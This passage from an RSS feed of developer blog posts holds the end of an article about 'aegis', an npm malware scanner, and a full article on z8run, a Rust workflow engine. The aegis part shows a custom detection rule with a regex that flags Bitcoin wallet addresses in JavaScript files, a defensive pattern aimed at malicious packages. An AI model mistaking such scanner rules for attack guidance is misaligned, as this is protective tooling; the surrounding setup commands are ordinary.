&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CUSTOM-001"&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Crypto&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;wallet&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;regex"&lt;/span&gt;
&lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;high&lt;/span&gt;
&lt;span class="na"&gt;pattern&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}"&lt;/span&gt;
&lt;span class="na"&gt;file_pattern&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*.js"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Drop them in a &lt;code&gt;rules/&lt;/code&gt; directory or pass &lt;code&gt;--rules ./my-rules/&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Open source
&lt;/h2&gt;

&lt;p&gt;MIT license. Code is at &lt;a href="https://github.com/z8run/aegis" rel="noopener noreferrer"&gt;github.com/z8run/aegis&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Try running &lt;code&gt;aegis-scan scan .&lt;/code&gt; on your current project. You might be surprised.&lt;/p&gt;

&lt;p&gt;If you find it useful, a star on the repo helps other devs find it. And if it catches something real, I'd love to hear about it.&lt;/p&gt;

</description>
      <category>npm</category>
      <category>security</category>
      <category>rust</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I Built a Visual Flow Engine in Rust to Replace Node-RED and n8n</title>
      <dc:creator>Pool Camacho</dc:creator>
      <pubDate>Thu, 02 Apr 2026 01:46:36 +0000</pubDate>
      <link>https://dev.to/poolcamacho/i-built-a-visual-flow-engine-in-rust-heres-why-i-ditched-nodejs-2oih</link>
      <guid>https://dev.to/poolcamacho/i-built-a-visual-flow-engine-in-rust-heres-why-i-ditched-nodejs-2oih</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ebbmlaq5iub6omsow3f.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ebbmlaq5iub6omsow3f.gif" alt="z8run visual flow editor demo" width="800" height="733"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I started this project
&lt;/h2&gt;

&lt;p&gt;I've spent years using Node-RED and n8n for workflow automation. They work well for small setups, but once you push them with hundreds of nodes and real-time data, things start to fall apart. Memory usage goes through the roof, a bad plugin can take down the whole process, and the JSON-over-WebSocket approach gets sluggish with large flows.&lt;/p&gt;

&lt;p&gt;I wanted something faster. Something I could deploy as a single binary without dragging along &lt;code&gt;node_modules&lt;/code&gt;. So I started building &lt;strong&gt;z8run&lt;/strong&gt;, a visual flow engine written in Rust.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does z8run do?
&lt;/h2&gt;

&lt;p&gt;It's a self-hosted workflow automation tool with a drag-and-drop editor. Think Node-RED or n8n, but the backend is compiled Rust running on Tokio.&lt;/p&gt;

&lt;p&gt;You design flows visually in the browser, connect nodes together, and deploy. The engine executes them as DAGs (directed acyclic graphs) with automatic parallelization.&lt;/p&gt;

&lt;h3&gt;
  
  
  What makes it different
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Single binary deploy.&lt;/strong&gt; No runtime, no dependencies. Just download and run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WASM plugin sandbox.&lt;/strong&gt; Plugins run inside wasmtime with explicit capability grants. You control what each plugin can access: network, filesystem, memory. A misbehaving plugin can't crash your server.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Binary WebSocket protocol.&lt;/strong&gt; 11-byte header instead of full JSON payloads. The editor stays responsive even with complex flows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Built-in credential vault.&lt;/strong&gt; API keys and secrets are encrypted with AES-256-GCM at rest. No more plaintext credentials in config files.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;23 built-in nodes&lt;/strong&gt; including 10 AI nodes (LLM, embeddings, vector store, classifier, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Architecture
&lt;/h2&gt;

&lt;p&gt;The project is organized as a Rust workspace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;z8run/
├── z8run-core       # Flow engine, DAG validation, scheduler
├── z8run-protocol   # Binary WebSocket protocol
├── z8run-storage    # SQLite / PostgreSQL persistence
├── z8run-runtime    # WASM plugin sandbox (wasmtime)
└── z8run-api        # REST + WebSocket server (Axum)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scheduler compiles flows into parallel execution plans using topological ordering. Nodes that don't depend on each other run concurrently, which makes a big difference in flows with lots of branching.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quick comparison
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;z8run&lt;/th&gt;
&lt;th&gt;Node-RED&lt;/th&gt;
&lt;th&gt;n8n&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Language&lt;/td&gt;
&lt;td&gt;Rust&lt;/td&gt;
&lt;td&gt;Node.js&lt;/td&gt;
&lt;td&gt;Node.js&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WASM plugins&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI nodes built-in&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Community&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Binary protocol&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;JSON&lt;/td&gt;
&lt;td&gt;JSON&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential vault&lt;/td&gt;
&lt;td&gt;AES-256-GCM&lt;/td&gt;
&lt;td&gt;Separate&lt;/td&gt;
&lt;td&gt;Built-in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Single binary&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;License&lt;/td&gt;
&lt;td&gt;Apache-2.0 / MIT&lt;/td&gt;
&lt;td&gt;Apache-2.0&lt;/td&gt;
&lt;td&gt;Sustainable Use&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Built-in nodes
&lt;/h2&gt;

&lt;p&gt;z8run ships with 23 nodes across 6 categories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Input&lt;/strong&gt;: HTTP In, Timer, Webhook (HMAC-SHA256 validation)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process&lt;/strong&gt;: Function, JSON Transform, HTTP Request, Filter&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Output&lt;/strong&gt;: Debug, HTTP Response&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logic&lt;/strong&gt;: Switch (multi-rule routing), Delay&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data&lt;/strong&gt;: Database (PostgreSQL, MySQL, SQLite), MQTT&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI&lt;/strong&gt;: LLM, Embeddings, Classifier, Prompt Template, Text Splitter, Vector Store, Structured Output, Summarizer, AI Agent, Image Gen&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The AI nodes are probably the feature I'm most proud of. You can chain a prompt template into an LLM call, pipe the result through a classifier, and store embeddings in a vector store. All visual, no code required.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;

&lt;p&gt;From source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/z8run/z8run.git
&lt;span class="nb"&gt;cd &lt;/span&gt;z8run
&lt;span class="nb"&gt;cp&lt;/span&gt; .env.example .env
cargo build &lt;span class="nt"&gt;--release&lt;/span&gt;
cargo run &lt;span class="nt"&gt;--bin&lt;/span&gt; z8run &lt;span class="nt"&gt;--&lt;/span&gt; serve
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or with Docker:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker pull ghcr.io/z8run/z8run-api:latest
docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Server starts on &lt;code&gt;http://localhost:7700&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Health check&lt;/span&gt;
curl http://localhost:7700/api/v1/health

&lt;span class="c"&gt;# Create a flow&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:7700/api/v1/flows &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{ "name": "My First Flow" }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why Rust for this?
&lt;/h2&gt;

&lt;p&gt;Flow engines are long-running processes. You need predictable memory usage, no GC pauses, and consistent latency when processing thousands of messages per second through a DAG.&lt;/p&gt;

&lt;p&gt;Rust also has first-class WASM support through wasmtime, which gave me a production-grade sandbox for plugins without having to build one from scratch.&lt;/p&gt;

&lt;p&gt;The tradeoff is obvious: Rust is slower to write than TypeScript. But for infrastructure that runs 24/7, I'll take that tradeoff every time.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;p&gt;z8run is at v0.2.0. Coming up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Plugin marketplace&lt;/li&gt;
&lt;li&gt;Helm chart for Kubernetes&lt;/li&gt;
&lt;li&gt;Undo/redo and flow duplication in the editor&lt;/li&gt;
&lt;li&gt;Rate limiting on the API&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The project is open source and I'd love feedback:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/z8run/z8run" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://app.z8run.org" rel="noopener noreferrer"&gt;Live Demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://z8run.org" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://crates.io/crates/z8run" rel="noopener noreferrer"&gt;crates.io&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you've been looking for a faster alternative to Node-RED or n8n, give it a shot and let me know what you think.&lt;/p&gt;

</description>
      <category>rust</category>
      <category>opensource</category>
      <category>programming</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
